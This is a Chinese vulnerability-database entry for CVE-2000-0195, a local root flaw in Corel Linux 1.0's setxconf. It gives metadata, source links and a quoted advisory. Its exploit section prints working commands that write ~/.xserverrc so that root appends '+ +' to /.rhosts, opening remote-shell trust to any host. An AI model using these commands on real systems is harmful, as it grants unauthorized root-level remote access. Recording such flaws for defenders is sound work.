Corel Linux setxconf漏洞-安全小百科

Corel Linux setxconf漏洞

漏洞ID	1105721	漏洞类型	输入验证
发布时间	2000-02-24	更新时间	2005-05-02
CVE编号	CVE-2000-0195	CNNVD-ID	CNNVD-200002-071
漏洞平台	Linux	CVSS评分	7.2

|漏洞来源

https://www.exploit-db.com/exploits/19765
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200002-071

|漏洞详情

CorelLinuxsetxconf存在漏洞。本地用户借助-T参数提升跟访问权，执行用户的.xserverrc文件。

|漏洞EXP

source: http://www.securityfocus.com/bid/1008/info

A vulnerability exists in the setxconf utility, as shipped with Corel Linux 1.0. The -T option to setxconf will run xinit, which euid root. xinit, when executed, will invoke the contents on ~/.xserverrc. A malicious user could therefore execute commands as root.

cat > ~/.xserverrc
echo "+ +" > /.rhosts

|参考资料

来源:BID
名称:1008
链接:http://www.securityfocus.com/bid/1008
来源:BUGTRAQ
名称:20000224CorelLinux1.0localrootcompromise
链接:http://archives.neohapsis.com/archives/bugtraq/2000-02/0323.html

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